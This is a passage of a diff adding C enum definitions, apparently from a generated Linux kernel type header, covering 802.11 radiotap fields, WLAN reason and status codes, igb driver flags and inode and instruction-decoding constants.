IEEE80211_RADIOTAP_HE_MU_FLAGS1_SIG_B_MCS = 15, + IEEE80211_RADIOTAP_HE_MU_FLAGS1_SIG_B_MCS_KNOWN = 16, + IEEE80211_RADIOTAP_HE_MU_FLAGS1_SIG_B_DCM = 32, + IEEE80211_RADIOTAP_HE_MU_FLAGS1_SIG_B_DCM_KNOWN = 64, + IEEE80211_RADIOTAP_HE_MU_FLAGS1_CH2_CTR_26T_RU_KNOWN = 128, + IEEE80211_RADIOTAP_HE_MU_FLAGS1_CH1_RU_KNOWN = 256, + IEEE80211_RADIOTAP_HE_MU_FLAGS1_CH2_RU_KNOWN = 512, + IEEE80211_RADIOTAP_HE_MU_FLAGS1_CH1_CTR_26T_RU_KNOWN = 4096, + IEEE80211_RADIOTAP_HE_MU_FLAGS1_CH1_CTR_26T_RU = 8192, + IEEE80211_RADIOTAP_HE_MU_FLAGS1_SIG_B_COMP_KNOWN = 16384, + IEEE80211_RADIOTAP_HE_MU_FLAGS1_SIG_B_SYMS_USERS_KNOWN = 32768, + IEEE80211_RADIOTAP_HE_MU_FLAGS2_BW_FROM_SIG_A_BW = 3, + IEEE80211_RADIOTAP_HE_MU_FLAGS2_BW_FROM_SIG_A_BW_20MHZ = 0, + IEEE80211_RADIOTAP_HE_MU_FLAGS2_BW_FROM_SIG_A_BW_40MHZ = 1, + IEEE80211_RADIOTAP_HE_MU_FLAGS2_BW_FROM_SIG_A_BW_80MHZ = 2, + IEEE80211_RADIOTAP_HE_MU_FLAGS2_BW_FROM_SIG_A_BW_160MHZ = 3, + IEEE80211_RADIOTAP_HE_MU_FLAGS2_BW_FROM_SIG_A_BW_KNOWN = 4, + IEEE80211_RADIOTAP_HE_MU_FLAGS2_SIG_B_COMP = 8, + IEEE80211_RADIOTAP_HE_MU_FLAGS2_SIG_B_SYMS_USERS = 240, + IEEE80211_RADIOTAP_HE_MU_FLAGS2_PUNC_FROM_SIG_A_BW = 768, + IEEE80211_RADIOTAP_HE_MU_FLAGS2_PUNC_FROM_SIG_A_BW_KNOWN = 1024, + IEEE80211_RADIOTAP_HE_MU_FLAGS2_CH2_CTR_26T_RU = 2048, +}; + +enum ieee80211_radiotap_lsig_data1 { + IEEE80211_RADIOTAP_LSIG_DATA1_RATE_KNOWN = 1, + IEEE80211_RADIOTAP_LSIG_DATA1_LENGTH_KNOWN = 2, +}; + +enum ieee80211_radiotap_lsig_data2 { + IEEE80211_RADIOTAP_LSIG_DATA2_RATE = 15, + IEEE80211_RADIOTAP_LSIG_DATA2_LENGTH = 65520, +}; + +enum ieee80211_radiotap_mcs_flags { + IEEE80211_RADIOTAP_MCS_BW_MASK = 3, + IEEE80211_RADIOTAP_MCS_BW_20 = 0, + IEEE80211_RADIOTAP_MCS_BW_40 = 1, + IEEE80211_RADIOTAP_MCS_BW_20L = 2, + IEEE80211_RADIOTAP_MCS_BW_20U = 3, + IEEE80211_RADIOTAP_MCS_SGI = 4, + IEEE80211_RADIOTAP_MCS_FMT_GF = 8, + IEEE80211_RADIOTAP_MCS_FEC_LDPC = 16, + IEEE80211_RADIOTAP_MCS_STBC_MASK = 96, + IEEE80211_RADIOTAP_MCS_STBC_1 = 1, + IEEE80211_RADIOTAP_MCS_STBC_2 = 2, + IEEE80211_RADIOTAP_MCS_STBC_3 = 3, + IEEE80211_RADIOTAP_MCS_STBC_SHIFT = 5, +}; + +enum ieee80211_radiotap_mcs_have { + IEEE80211_RADIOTAP_MCS_HAVE_BW = 1, + IEEE80211_RADIOTAP_MCS_HAVE_MCS = 2, + IEEE80211_RADIOTAP_MCS_HAVE_GI = 4, + IEEE80211_RADIOTAP_MCS_HAVE_FMT = 8, + IEEE80211_RADIOTAP_MCS_HAVE_FEC = 16, + IEEE80211_RADIOTAP_MCS_HAVE_STBC = 32, +}; + +enum ieee80211_radiotap_presence { + IEEE80211_RADIOTAP_TSFT = 0, + IEEE80211_RADIOTAP_FLAGS = 1, + IEEE80211_RADIOTAP_RATE = 2, + IEEE80211_RADIOTAP_CHANNEL = 3, + IEEE80211_RADIOTAP_FHSS = 4, + IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, + IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, + IEEE80211_RADIOTAP_LOCK_QUALITY = 7, + IEEE80211_RADIOTAP_TX_ATTENUATION = 8, + IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, + IEEE80211_RADIOTAP_DBM_TX_POWER = 10, + IEEE80211_RADIOTAP_ANTENNA = 11, + IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, + IEEE80211_RADIOTAP_DB_ANTNOISE = 13, + IEEE80211_RADIOTAP_RX_FLAGS = 14, + IEEE80211_RADIOTAP_TX_FLAGS = 15, + IEEE80211_RADIOTAP_RTS_RETRIES = 16, + IEEE80211_RADIOTAP_DATA_RETRIES = 17, + IEEE80211_RADIOTAP_MCS = 19, + IEEE80211_RADIOTAP_AMPDU_STATUS = 20, + IEEE80211_RADIOTAP_VHT = 21, + IEEE80211_RADIOTAP_TIMESTAMP = 22, + IEEE80211_RADIOTAP_HE = 23, + IEEE80211_RADIOTAP_HE_MU = 24, + IEEE80211_RADIOTAP_ZERO_LEN_PSDU = 26, + IEEE80211_RADIOTAP_LSIG = 27, + IEEE80211_RADIOTAP_TLV = 28, + IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE = 29, + IEEE80211_RADIOTAP_VENDOR_NAMESPACE = 30, + IEEE80211_RADIOTAP_EXT = 31, + IEEE80211_RADIOTAP_EHT_USIG = 33, + IEEE80211_RADIOTAP_EHT = 34, +}; + +enum ieee80211_radiotap_rx_flags { + IEEE80211_RADIOTAP_F_RX_BADPLCP = 2, +}; + +enum ieee80211_radiotap_timestamp_flags { + IEEE80211_RADIOTAP_TIMESTAMP_FLAG_64BIT = 0, + IEEE80211_RADIOTAP_TIMESTAMP_FLAG_32BIT = 1, + IEEE80211_RADIOTAP_TIMESTAMP_FLAG_ACCURACY = 2, +}; + +enum ieee80211_radiotap_timestamp_unit_spos { + IEEE80211_RADIOTAP_TIMESTAMP_UNIT_MASK = 15, + IEEE80211_RADIOTAP_TIMESTAMP_UNIT_MS = 0, + IEEE80211_RADIOTAP_TIMESTAMP_UNIT_US = 1, + IEEE80211_RADIOTAP_TIMESTAMP_UNIT_NS = 3, + IEEE80211_RADIOTAP_TIMESTAMP_SPOS_MASK = 240, + IEEE80211_RADIOTAP_TIMESTAMP_SPOS_BEGIN_MDPU = 0, + IEEE80211_RADIOTAP_TIMESTAMP_SPOS_PLCP_SIG_ACQ = 16, + IEEE80211_RADIOTAP_TIMESTAMP_SPOS_EO_PPDU = 32, + IEEE80211_RADIOTAP_TIMESTAMP_SPOS_EO_MPDU = 48, + IEEE80211_RADIOTAP_TIMESTAMP_SPOS_UNKNOWN = 240, +}; + +enum ieee80211_radiotap_tx_flags { + IEEE80211_RADIOTAP_F_TX_FAIL = 1, + IEEE80211_RADIOTAP_F_TX_CTS = 2, + IEEE80211_RADIOTAP_F_TX_RTS = 4, + IEEE80211_RADIOTAP_F_TX_NOACK = 8, + IEEE80211_RADIOTAP_F_TX_NOSEQNO = 16, + IEEE80211_RADIOTAP_F_TX_ORDER = 32, +}; + +enum ieee80211_radiotap_vht_coding { + IEEE80211_RADIOTAP_CODING_LDPC_USER0 = 1, + IEEE80211_RADIOTAP_CODING_LDPC_USER1 = 2, + IEEE80211_RADIOTAP_CODING_LDPC_USER2 = 4, + IEEE80211_RADIOTAP_CODING_LDPC_USER3 = 8, +}; + +enum ieee80211_radiotap_vht_flags { + IEEE80211_RADIOTAP_VHT_FLAG_STBC = 1, + IEEE80211_RADIOTAP_VHT_FLAG_TXOP_PS_NA = 2, + IEEE80211_RADIOTAP_VHT_FLAG_SGI = 4, + IEEE80211_RADIOTAP_VHT_FLAG_SGI_NSYM_M10_9 = 8, + IEEE80211_RADIOTAP_VHT_FLAG_LDPC_EXTRA_OFDM_SYM = 16, + IEEE80211_RADIOTAP_VHT_FLAG_BEAMFORMED = 32, +}; + +enum ieee80211_radiotap_vht_known { + IEEE80211_RADIOTAP_VHT_KNOWN_STBC = 1, + IEEE80211_RADIOTAP_VHT_KNOWN_TXOP_PS_NA = 2, + IEEE80211_RADIOTAP_VHT_KNOWN_GI = 4, + IEEE80211_RADIOTAP_VHT_KNOWN_SGI_NSYM_DIS = 8, + IEEE80211_RADIOTAP_VHT_KNOWN_LDPC_EXTRA_OFDM_SYM = 16, + IEEE80211_RADIOTAP_VHT_KNOWN_BEAMFORMED = 32, + IEEE80211_RADIOTAP_VHT_KNOWN_BANDWIDTH = 64, + IEEE80211_RADIOTAP_VHT_KNOWN_GROUP_ID = 128, + IEEE80211_RADIOTAP_VHT_KNOWN_PARTIAL_AID = 256, +}; + +enum ieee80211_radiotap_zero_len_psdu_type { + IEEE80211_RADIOTAP_ZERO_LEN_PSDU_SOUNDING = 0, + IEEE80211_RADIOTAP_ZERO_LEN_PSDU_NOT_CAPTURED = 1, + IEEE80211_RADIOTAP_ZERO_LEN_PSDU_VENDOR = 255, +}; + +enum ieee80211_rate_control_changed { + IEEE80211_RC_BW_CHANGED = 1, + IEEE80211_RC_SMPS_CHANGED = 2, + IEEE80211_RC_SUPP_RATES_CHANGED = 4, + IEEE80211_RC_NSS_CHANGED = 8, +}; + +enum ieee80211_rate_flags { + IEEE80211_RATE_SHORT_PREAMBLE = 1, + IEEE80211_RATE_MANDATORY_A = 2, + IEEE80211_RATE_MANDATORY_B = 4, + IEEE80211_RATE_MANDATORY_G = 8, + IEEE80211_RATE_ERP_G = 16, + IEEE80211_RATE_SUPPORTS_5MHZ = 32, + IEEE80211_RATE_SUPPORTS_10MHZ = 64, +}; + +enum ieee80211_reasoncode { + WLAN_REASON_UNSPECIFIED = 1, + WLAN_REASON_PREV_AUTH_NOT_VALID = 2, + WLAN_REASON_DEAUTH_LEAVING = 3, + WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY = 4, + WLAN_REASON_DISASSOC_AP_BUSY = 5, + WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA = 6, + WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA = 7, + WLAN_REASON_DISASSOC_STA_HAS_LEFT = 8, + WLAN_REASON_STA_REQ_ASSOC_WITHOUT_AUTH = 9, + WLAN_REASON_DISASSOC_BAD_POWER = 10, + WLAN_REASON_DISASSOC_BAD_SUPP_CHAN = 11, + WLAN_REASON_INVALID_IE = 13, + WLAN_REASON_MIC_FAILURE = 14, + WLAN_REASON_4WAY_HANDSHAKE_TIMEOUT = 15, + WLAN_REASON_GROUP_KEY_HANDSHAKE_TIMEOUT = 16, + WLAN_REASON_IE_DIFFERENT = 17, + WLAN_REASON_INVALID_GROUP_CIPHER = 18, + WLAN_REASON_INVALID_PAIRWISE_CIPHER = 19, + WLAN_REASON_INVALID_AKMP = 20, + WLAN_REASON_UNSUPP_RSN_VERSION = 21, + WLAN_REASON_INVALID_RSN_IE_CAP = 22, + WLAN_REASON_IEEE8021X_FAILED = 23, + WLAN_REASON_CIPHER_SUITE_REJECTED = 24, + WLAN_REASON_TDLS_TEARDOWN_UNREACHABLE = 25, + WLAN_REASON_TDLS_TEARDOWN_UNSPECIFIED = 26, + WLAN_REASON_DISASSOC_UNSPECIFIED_QOS = 32, + WLAN_REASON_DISASSOC_QAP_NO_BANDWIDTH = 33, + WLAN_REASON_DISASSOC_LOW_ACK = 34, + WLAN_REASON_DISASSOC_QAP_EXCEED_TXOP = 35, + WLAN_REASON_QSTA_LEAVE_QBSS = 36, + WLAN_REASON_QSTA_NOT_USE = 37, + WLAN_REASON_QSTA_REQUIRE_SETUP = 38, + WLAN_REASON_QSTA_TIMEOUT = 39, + WLAN_REASON_QSTA_CIPHER_NOT_SUPP = 45, + WLAN_REASON_MESH_PEER_CANCELED = 52, + WLAN_REASON_MESH_MAX_PEERS = 53, + WLAN_REASON_MESH_CONFIG = 54, + WLAN_REASON_MESH_CLOSE = 55, + WLAN_REASON_MESH_MAX_RETRIES = 56, + WLAN_REASON_MESH_CONFIRM_TIMEOUT = 57, + WLAN_REASON_MESH_INVALID_GTK = 58, + WLAN_REASON_MESH_INCONSISTENT_PARAM = 59, + WLAN_REASON_MESH_INVALID_SECURITY = 60, + WLAN_REASON_MESH_PATH_ERROR = 61, + WLAN_REASON_MESH_PATH_NOFORWARD = 62, + WLAN_REASON_MESH_PATH_DEST_UNREACHABLE = 63, + WLAN_REASON_MAC_EXISTS_IN_MBSS = 64, + WLAN_REASON_MESH_CHAN_REGULATORY = 65, + WLAN_REASON_MESH_CHAN = 66, +}; + +enum ieee80211_reconfig_type { + IEEE80211_RECONFIG_TYPE_RESTART = 0, + IEEE80211_RECONFIG_TYPE_SUSPEND = 1, +}; + +enum ieee80211_regd_source { + REGD_SOURCE_INTERNAL_DB = 0, + REGD_SOURCE_CRDA = 1, + REGD_SOURCE_CACHED = 2, +}; + +enum ieee80211_regulatory_flags { + REGULATORY_CUSTOM_REG = 1, + REGULATORY_STRICT_REG = 2, + REGULATORY_DISABLE_BEACON_HINTS = 4, + REGULATORY_COUNTRY_IE_FOLLOW_POWER = 8, + REGULATORY_COUNTRY_IE_IGNORE = 16, + REGULATORY_ENABLE_RELAX_NO_IR = 32, + REGULATORY_WIPHY_SELF_MANAGED = 128, +}; + +enum ieee80211_roc_type { + IEEE80211_ROC_TYPE_NORMAL = 0, + IEEE80211_ROC_TYPE_MGMT_TX = 1, +}; + +enum ieee80211_rssi_event_data { + RSSI_EVENT_HIGH = 0, + RSSI_EVENT_LOW = 1, +}; + +enum ieee80211_rx_flags { + IEEE80211_RX_CMNTR = 1, + IEEE80211_RX_BEACON_REPORTED = 2, +}; + +enum ieee80211_s1g_actioncode { + WLAN_S1G_AID_SWITCH_REQUEST = 0, + WLAN_S1G_AID_SWITCH_RESPONSE = 1, + WLAN_S1G_SYNC_CONTROL = 2, + WLAN_S1G_STA_INFO_ANNOUNCE = 3, + WLAN_S1G_EDCA_PARAM_SET = 4, + WLAN_S1G_EL_OPERATION = 5, + WLAN_S1G_TWT_SETUP = 6, + WLAN_S1G_TWT_TEARDOWN = 7, + WLAN_S1G_SECT_GROUP_ID_LIST = 8, + WLAN_S1G_SECT_ID_FEEDBACK = 9, + WLAN_S1G_TWT_INFORMATION = 11, +}; + +enum ieee80211_s1g_chanwidth { + IEEE80211_S1G_CHANWIDTH_1MHZ = 0, + IEEE80211_S1G_CHANWIDTH_2MHZ = 1, + IEEE80211_S1G_CHANWIDTH_4MHZ = 3, + IEEE80211_S1G_CHANWIDTH_8MHZ = 7, + IEEE80211_S1G_CHANWIDTH_16MHZ = 15, +}; + +enum ieee80211_sa_query_action { + WLAN_ACTION_SA_QUERY_REQUEST = 0, + WLAN_ACTION_SA_QUERY_RESPONSE = 1, +}; + +enum ieee80211_sdata_state_bits { + SDATA_STATE_RUNNING = 0, + SDATA_STATE_OFFCHANNEL = 1, + SDATA_STATE_OFFCHANNEL_BEACON_STOPPED = 2, +}; + +enum ieee80211_self_protected_actioncode { + WLAN_SP_RESERVED = 0, + WLAN_SP_MESH_PEERING_OPEN = 1, + WLAN_SP_MESH_PEERING_CONFIRM = 2, + WLAN_SP_MESH_PEERING_CLOSE = 3, + WLAN_SP_MGK_INFORM = 4, + WLAN_SP_MGK_ACK = 5, +}; + +enum ieee80211_smps_mode { + IEEE80211_SMPS_AUTOMATIC = 0, + IEEE80211_SMPS_OFF = 1, + IEEE80211_SMPS_STATIC = 2, + IEEE80211_SMPS_DYNAMIC = 3, + IEEE80211_SMPS_NUM_MODES = 4, +}; + +enum ieee80211_spectrum_mgmt_actioncode { + WLAN_ACTION_SPCT_MSR_REQ = 0, + WLAN_ACTION_SPCT_MSR_RPRT = 1, + WLAN_ACTION_SPCT_TPC_REQ = 2, + WLAN_ACTION_SPCT_TPC_RPRT = 3, + WLAN_ACTION_SPCT_CHL_SWITCH = 4, +}; + +enum ieee80211_sta_flags { + IEEE80211_STA_CONNECTION_POLL = 2, + IEEE80211_STA_CONTROL_PORT = 4, + IEEE80211_STA_MFP_ENABLED = 64, + IEEE80211_STA_UAPSD_ENABLED = 128, + IEEE80211_STA_NULLFUNC_ACKED = 256, + IEEE80211_STA_ENABLE_RRM = 32768, +}; + +enum ieee80211_sta_info_flags { + WLAN_STA_AUTH = 0, + WLAN_STA_ASSOC = 1, + WLAN_STA_PS_STA = 2, + WLAN_STA_AUTHORIZED = 3, + WLAN_STA_SHORT_PREAMBLE = 4, + WLAN_STA_WDS = 5, + WLAN_STA_CLEAR_PS_FILT = 6, + WLAN_STA_MFP = 7, + WLAN_STA_BLOCK_BA = 8, + WLAN_STA_PS_DRIVER = 9, + WLAN_STA_PSPOLL = 10, + WLAN_STA_TDLS_PEER = 11, + WLAN_STA_TDLS_PEER_AUTH = 12, + WLAN_STA_TDLS_INITIATOR = 13, + WLAN_STA_TDLS_CHAN_SWITCH = 14, + WLAN_STA_TDLS_OFF_CHANNEL = 15, + WLAN_STA_TDLS_WIDER_BW = 16, + WLAN_STA_UAPSD = 17, + WLAN_STA_SP = 18, + WLAN_STA_4ADDR_EVENT = 19, + WLAN_STA_INSERTED = 20, + WLAN_STA_RATE_CONTROL = 21, + WLAN_STA_TOFFSET_KNOWN = 22, + WLAN_STA_MPSP_OWNER = 23, + WLAN_STA_MPSP_RECIPIENT = 24, + WLAN_STA_PS_DELIVER = 25, + WLAN_STA_USES_ENCRYPTION = 26, + WLAN_STA_DECAP_OFFLOAD = 27, + NUM_WLAN_STA_FLAGS = 28, +}; + +enum ieee80211_sta_rx_bandwidth { + IEEE80211_STA_RX_BW_20 = 0, + IEEE80211_STA_RX_BW_40 = 1, + IEEE80211_STA_RX_BW_80 = 2, + IEEE80211_STA_RX_BW_160 = 3, + IEEE80211_STA_RX_BW_320 = 4, +}; + +enum ieee80211_sta_state { + IEEE80211_STA_NOTEXIST = 0, + IEEE80211_STA_NONE = 1, + IEEE80211_STA_AUTH = 2, + IEEE80211_STA_ASSOC = 3, + IEEE80211_STA_AUTHORIZED = 4, +}; + +enum ieee80211_status_data { + IEEE80211_STATUS_TYPE_MASK = 15, + IEEE80211_STATUS_TYPE_INVALID = 0, + IEEE80211_STATUS_TYPE_SMPS = 1, + IEEE80211_STATUS_TYPE_NEG_TTLM = 2, + IEEE80211_STATUS_SUBDATA_MASK = 8176, +}; + +enum ieee80211_statuscode { + WLAN_STATUS_SUCCESS = 0, + WLAN_STATUS_UNSPECIFIED_FAILURE = 1, + WLAN_STATUS_CAPS_UNSUPPORTED = 10, + WLAN_STATUS_REASSOC_NO_ASSOC = 11, + WLAN_STATUS_ASSOC_DENIED_UNSPEC = 12, + WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG = 13, + WLAN_STATUS_UNKNOWN_AUTH_TRANSACTION = 14, + WLAN_STATUS_CHALLENGE_FAIL = 15, + WLAN_STATUS_AUTH_TIMEOUT = 16, + WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA = 17, + WLAN_STATUS_ASSOC_DENIED_RATES = 18, + WLAN_STATUS_ASSOC_DENIED_NOSHORTPREAMBLE = 19, + WLAN_STATUS_ASSOC_DENIED_NOPBCC = 20, + WLAN_STATUS_ASSOC_DENIED_NOAGILITY = 21, + WLAN_STATUS_ASSOC_DENIED_NOSPECTRUM = 22, + WLAN_STATUS_ASSOC_REJECTED_BAD_POWER = 23, + WLAN_STATUS_ASSOC_REJECTED_BAD_SUPP_CHAN = 24, + WLAN_STATUS_ASSOC_DENIED_NOSHORTTIME = 25, + WLAN_STATUS_ASSOC_DENIED_NODSSSOFDM = 26, + WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY = 30, + WLAN_STATUS_ROBUST_MGMT_FRAME_POLICY_VIOLATION = 31, + WLAN_STATUS_INVALID_IE = 40, + WLAN_STATUS_INVALID_GROUP_CIPHER = 41, + WLAN_STATUS_INVALID_PAIRWISE_CIPHER = 42, + WLAN_STATUS_INVALID_AKMP = 43, + WLAN_STATUS_UNSUPP_RSN_VERSION = 44, + WLAN_STATUS_INVALID_RSN_IE_CAP = 45, + WLAN_STATUS_CIPHER_SUITE_REJECTED = 46, + WLAN_STATUS_UNSPECIFIED_QOS = 32, + WLAN_STATUS_ASSOC_DENIED_NOBANDWIDTH = 33, + WLAN_STATUS_ASSOC_DENIED_LOWACK = 34, + WLAN_STATUS_ASSOC_DENIED_UNSUPP_QOS = 35, + WLAN_STATUS_REQUEST_DECLINED = 37, + WLAN_STATUS_INVALID_QOS_PARAM = 38, + WLAN_STATUS_CHANGE_TSPEC = 39, + WLAN_STATUS_WAIT_TS_DELAY = 47, + WLAN_STATUS_NO_DIRECT_LINK = 48, + WLAN_STATUS_STA_NOT_PRESENT = 49, + WLAN_STATUS_STA_NOT_QSTA = 50, + WLAN_STATUS_ANTI_CLOG_REQUIRED = 76, + WLAN_STATUS_FCG_NOT_SUPP = 78, + WLAN_STATUS_STA_NO_TBTT = 78, + WLAN_STATUS_REJECTED_WITH_SUGGESTED_CHANGES = 39, + WLAN_STATUS_REJECTED_FOR_DELAY_PERIOD = 47, + WLAN_STATUS_REJECT_WITH_SCHEDULE = 83, + WLAN_STATUS_PENDING_ADMITTING_FST_SESSION = 86, + WLAN_STATUS_PERFORMING_FST_NOW = 87, + WLAN_STATUS_PENDING_GAP_IN_BA_WINDOW = 88, + WLAN_STATUS_REJECT_U_PID_SETTING = 89, + WLAN_STATUS_REJECT_DSE_BAND = 96, + WLAN_STATUS_DENIED_WITH_SUGGESTED_BAND_AND_CHANNEL = 99, + WLAN_STATUS_DENIED_DUE_TO_SPECTRUM_MANAGEMENT = 103, + WLAN_STATUS_FILS_AUTHENTICATION_FAILURE = 108, + WLAN_STATUS_UNKNOWN_AUTHENTICATION_SERVER = 109, + WLAN_STATUS_SAE_HASH_TO_ELEMENT = 126, + WLAN_STATUS_SAE_PK = 127, + WLAN_STATUS_DENIED_TID_TO_LINK_MAPPING = 133, + WLAN_STATUS_PREF_TID_TO_LINK_MAPPING_SUGGESTED = 134, +}; + +enum ieee80211_sub_if_data_flags { + IEEE80211_SDATA_ALLMULTI = 1, + IEEE80211_SDATA_DONT_BRIDGE_PACKETS = 8, + IEEE80211_SDATA_DISCONNECT_RESUME = 16, + IEEE80211_SDATA_IN_DRIVER = 32, + IEEE80211_SDATA_DISCONNECT_HW_RESTART = 64, +}; + +enum ieee80211_tdls_actioncode { + WLAN_TDLS_SETUP_REQUEST = 0, + WLAN_TDLS_SETUP_RESPONSE = 1, + WLAN_TDLS_SETUP_CONFIRM = 2, + WLAN_TDLS_TEARDOWN = 3, + WLAN_TDLS_PEER_TRAFFIC_INDICATION = 4, + WLAN_TDLS_CHANNEL_SWITCH_REQUEST = 5, + WLAN_TDLS_CHANNEL_SWITCH_RESPONSE = 6, + WLAN_TDLS_PEER_PSM_REQUEST = 7, + WLAN_TDLS_PEER_PSM_RESPONSE = 8, + WLAN_TDLS_PEER_TRAFFIC_RESPONSE = 9, + WLAN_TDLS_DISCOVERY_REQUEST = 10, +}; + +enum ieee80211_timeout_interval_type { + WLAN_TIMEOUT_REASSOC_DEADLINE = 1, + WLAN_TIMEOUT_KEY_LIFETIME = 2, + WLAN_TIMEOUT_ASSOC_COMEBACK = 3, +}; + +enum ieee80211_tpt_led_trigger_flags { + IEEE80211_TPT_LEDTRIG_FL_RADIO = 1, + IEEE80211_TPT_LEDTRIG_FL_WORK = 2, + IEEE80211_TPT_LEDTRIG_FL_CONNECTED = 4, +}; + +enum ieee80211_twt_setup_cmd { + TWT_SETUP_CMD_REQUEST = 0, + TWT_SETUP_CMD_SUGGEST = 1, + TWT_SETUP_CMD_DEMAND = 2, + TWT_SETUP_CMD_GROUPING = 3, + TWT_SETUP_CMD_ACCEPT = 4, + TWT_SETUP_CMD_ALTERNATE = 5, + TWT_SETUP_CMD_DICTATE = 6, + TWT_SETUP_CMD_REJECT = 7, +}; + +enum ieee80211_tx_power_category_6ghz { + IEEE80211_TPE_CAT_6GHZ_DEFAULT = 0, + IEEE80211_TPE_CAT_6GHZ_SUBORDINATE = 1, +}; + +enum ieee80211_tx_power_intrpt_type { + IEEE80211_TPE_LOCAL_EIRP = 0, + IEEE80211_TPE_LOCAL_EIRP_PSD = 1, + IEEE80211_TPE_REG_CLIENT_EIRP = 2, + IEEE80211_TPE_REG_CLIENT_EIRP_PSD = 3, +}; + +enum ieee80211_unprotected_wnm_actioncode { + WLAN_UNPROTECTED_WNM_ACTION_TIM = 0, + WLAN_UNPROTECTED_WNM_ACTION_TIMING_MEASUREMENT_RESPONSE = 1, +}; + +enum ieee80211_vht_actioncode { + WLAN_VHT_ACTION_COMPRESSED_BF = 0, + WLAN_VHT_ACTION_GROUPID_MGMT = 1, + WLAN_VHT_ACTION_OPMODE_NOTIF = 2, +}; + +enum ieee80211_vht_chanwidth { + IEEE80211_VHT_CHANWIDTH_USE_HT = 0, + IEEE80211_VHT_CHANWIDTH_80MHZ = 1, + IEEE80211_VHT_CHANWIDTH_160MHZ = 2, + IEEE80211_VHT_CHANWIDTH_80P80MHZ = 3, +}; + +enum ieee80211_vht_max_ampdu_length_exp { + IEEE80211_VHT_MAX_AMPDU_8K = 0, + IEEE80211_VHT_MAX_AMPDU_16K = 1, + IEEE80211_VHT_MAX_AMPDU_32K = 2, + IEEE80211_VHT_MAX_AMPDU_64K = 3, + IEEE80211_VHT_MAX_AMPDU_128K = 4, + IEEE80211_VHT_MAX_AMPDU_256K = 5, + IEEE80211_VHT_MAX_AMPDU_512K = 6, + IEEE80211_VHT_MAX_AMPDU_1024K = 7, +}; + +enum ieee80211_vht_mcs_support { + IEEE80211_VHT_MCS_SUPPORT_0_7 = 0, + IEEE80211_VHT_MCS_SUPPORT_0_8 = 1, + IEEE80211_VHT_MCS_SUPPORT_0_9 = 2, + IEEE80211_VHT_MCS_NOT_SUPPORTED = 3, +}; + +enum ieee80211_vht_opmode_bits { + IEEE80211_OPMODE_NOTIF_CHANWIDTH_MASK = 3, + IEEE80211_OPMODE_NOTIF_CHANWIDTH_20MHZ = 0, + IEEE80211_OPMODE_NOTIF_CHANWIDTH_40MHZ = 1, + IEEE80211_OPMODE_NOTIF_CHANWIDTH_80MHZ = 2, + IEEE80211_OPMODE_NOTIF_CHANWIDTH_160MHZ = 3, + IEEE80211_OPMODE_NOTIF_BW_160_80P80 = 4, + IEEE80211_OPMODE_NOTIF_RX_NSS_MASK = 112, + IEEE80211_OPMODE_NOTIF_RX_NSS_SHIFT = 4, + IEEE80211_OPMODE_NOTIF_RX_NSS_TYPE_BF = 128, +}; + +enum ieee80211_vif_flags { + IEEE80211_VIF_BEACON_FILTER = 1, + IEEE80211_VIF_SUPPORTS_CQM_RSSI = 2, + IEEE80211_VIF_SUPPORTS_UAPSD = 4, + IEEE80211_VIF_GET_NOA_UPDATE = 8, + IEEE80211_VIF_EML_ACTIVE = 16, + IEEE80211_VIF_IGNORE_OFDMA_WIDER_BW = 32, +}; + +enum ifs { + IFS_BACKOFF = 0, + IFS_SIFS = 1, + IFS_NEW_BACKOFF = 2, + IFS_NONE = 3, +}; + +enum igb_diagnostics_results { + TEST_REG = 0, + TEST_EEP = 1, + TEST_IRQ = 2, + TEST_LOOP = 3, + TEST_LINK = 4, +}; + +enum igb_filter_match_flags { + IGB_FILTER_FLAG_ETHER_TYPE = 1, + IGB_FILTER_FLAG_VLAN_TCI = 2, + IGB_FILTER_FLAG_SRC_MAC_ADDR = 4, + IGB_FILTER_FLAG_DST_MAC_ADDR = 8, +}; + +enum igb_tx_buf_type { + IGB_TYPE_SKB = 0, + IGB_TYPE_XDP = 1, +}; + +enum igb_tx_flags { + IGB_TX_FLAGS_VLAN = 1, + IGB_TX_FLAGS_TSO = 2, + IGB_TX_FLAGS_TSTAMP = 4, + IGB_TX_FLAGS_IPV4 = 16, + IGB_TX_FLAGS_CSUM = 32, +}; + +enum in6_addr_gen_mode { + IN6_ADDR_GEN_MODE_EUI64 = 0, + IN6_ADDR_GEN_MODE_NONE = 1, + IN6_ADDR_GEN_MODE_STABLE_PRIVACY = 2, + IN6_ADDR_GEN_MODE_RANDOM = 3, +}; + +enum inet_csk_ack_state_t { + ICSK_ACK_SCHED = 1, + ICSK_ACK_TIMER = 2, + ICSK_ACK_PUSHED = 4, + ICSK_ACK_PUSHED2 = 8, + ICSK_ACK_NOW = 16, + ICSK_ACK_NOMEM = 32, +}; + +enum inode_i_mutex_lock_class { + I_MUTEX_NORMAL = 0, + I_MUTEX_PARENT = 1, + I_MUTEX_CHILD = 2, + I_MUTEX_XATTR = 3, + I_MUTEX_NONDIR2 = 4, + I_MUTEX_PARENT2 = 5, +}; + +enum inode_state { + inode_state_no_change = 0, + inode_state_will_create = 1, + inode_state_did_create = 2, + inode_state_will_delete = 3, + inode_state_did_delete = 4, +}; + +enum input_clock_type { + INPUT_CLK_REAL = 0, + INPUT_CLK_MONO = 1, + INPUT_CLK_BOOT = 2, + INPUT_CLK_MAX = 3, +}; + +enum insn_mmio_type { + INSN_MMIO_DECODE_FAILED = 0, + INSN_MMIO_WRITE = 1, + INSN_MMIO_WRITE_IMM = 2, + INSN_MMIO_READ = 3, + INSN_MMIO_READ_ZERO_EXTEND = 4, + INSN_MMIO_READ_SIGN_EXTEND = 5, + INSN_MMIO_MOVS = 6, +}; + +enum insn_mode { + INSN_MODE_32 = 0, + INSN_MODE_64 = 1, + INSN_MODE_KERN = 2, + INSN_NUM_MODES = 3, +}; + +enum insn_type { + CALL = 0, + NOP = 1, + JMP = 2, + RET = 3, + JCC = 4, +}; + +enum intel_excl_state_type { + INTEL_EXCL_UNUSED = 0, + INTEL_EXCL_SHARED = 1, + INTEL_EXCL_EXCLUSIVE = 2, +}; 